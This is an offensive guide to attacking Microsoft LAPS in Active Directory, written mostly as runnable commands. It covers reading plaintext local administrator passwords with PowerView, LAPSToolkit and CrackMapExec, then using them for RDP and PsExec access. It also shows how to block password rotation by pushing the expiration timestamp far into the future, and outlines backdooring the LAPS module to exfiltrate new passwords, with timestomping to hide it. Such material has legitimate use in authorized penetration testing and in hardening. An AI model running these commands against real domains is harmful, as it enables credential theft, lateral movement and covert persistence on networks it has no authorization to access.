Active Directory LAPS Enumeration and Exploitation
A comprehensive guide for enumerating and exploiting Microsoft's Local Administrator Password Solution (LAPS) in Active Directory environments.
What is LAPS?
LAPS manages local administrator passwords on domain-joined computers by:
- Generating unique, randomized passwords for each machine
- Frequently rotating these passwords
- Storing them securely in Active Directory attributes
- Restricting access via Access Control Lists (ACLs)
Key AD Attributes
| Attribute | Purpose |
|---|---|
ms-mcs-AdmPwd |
Stores the plain-text administrator password |
ms-mcs-AdmPwdExpirationTime |
Stores the password expiration timestamp |
1. Check if LAPS is Enabled
Registry Check
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
File System Check
dir "C:\Program Files\LAPS\CSE"
# Look for AdmPwd.dll in this folder
Find LAPS GPOs
Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl
Find Computers with LAPS Enabled
# Any Domain User can read this property
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" |
? { $_."ms-mcs-admpwdexpirationtime" -ne $null } |
select DnsHostname
2. Enumerate LAPS Password Access
Parse Registry Policy Files
Download the raw LAPS policy and parse it:
# Download from DC
\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol
# Parse with GPRegistryPolicyParser
Parse-PolFile -Path ".\Registry.pol"
Native LAPS PowerShell Cmdlets
# List available cmdlets
Get-Command *AdmPwd*
# Find who can read LAPS passwords for an OU
Find-AdmPwdExtendedRights -Identity Workstations | fl
# Read a specific computer's LAPS password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
Using PowerView
# Find principals with ReadProperty on ms-Mcs-AdmPwd
Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
# Read the password directly
Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd |
Select-Object -ExpandProperty ms-Mcs-AdmPwd
3. LAPSToolkit Enumeration
The LAPSToolkit provides advanced enumeration:
Find Delegated Groups
# Get groups that can read LAPS passwords
Find-LAPSDelegatedGroups
# Output example:
# OrgUnit Delegated Groups
# ------- ----------------
# OU=Servers,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\Domain Admins
# OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\LAPS Admin
Find Extended Rights
# Check rights on each LAPS-enabled computer
Find-AdmPwdExtendedRights
# Output example:
# ComputerName Identity Reason
# ------------ -------- ------
# MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\Domain Admins Delegated
# MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\LAPS Admins Delegated
Get LAPS Passwords
# Get computers with LAPS enabled, expiration time, and passwords
Get-LAPSComputers
# Output example:
# ComputerName Password Expiration
# ------------ -------- ----------
# DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
4. Remote LAPS Dumping with CrackMapExec
If you don't have PowerShell access, use CrackMapExec over LDAP:
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
This dumps all LAPS passwords the authenticated user can read.
5. Using LAPS Passwords
Remote Desktop
xfreerdp /v:192.168.1.1:3389 /u:Administrator
# Password: [LAPS password from enumeration]
PsExec
python psexec.py Administrator@web.example.com
# Password: [LAPS password from enumeration]
6. LAPS Persistence Techniques
Extend Password Expiration
Once you have admin access, prevent password rotation:
# Get current expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
# Set expiration far in the future (requires SYSTEM on the computer)
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
Warning: Passwords will still reset if:
- An admin uses
Reset-AdmPwdPasswordcmdlet- "Do not allow password expiration time longer than required by policy" is enabled in LAPS GPO
Backdoor the LAPS Module
- Download the LAPS source code
- Modify
Main/AdmPwd.PS/Main.csin theGet-AdmPwdPasswordmethod to:- Exfiltrate new passwords
- Store them in a hidden location
- Compile the modified
AdmPwd.PS.dll - Upload to target:
C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll - Change the file modification time to match the original
Quick Reference
| Task | Command |
|---|---|
| Check LAPS enabled | reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled |
| Find LAPS computers | `Get-DomainObject |
| Read LAPS password | Get-AdmPwdPassword -ComputerName <hostname> |
| Find delegated groups | Find-LAPSDelegatedGroups |
| Remote dump | crackmapexec ldap <dc> -u <user> -p <pass> -M laps |
| Extend expiration | Set-DomainObject -Identity <host> -Set @{"ms-mcs-admpwdexpirationtime"="<future_timestamp>"} |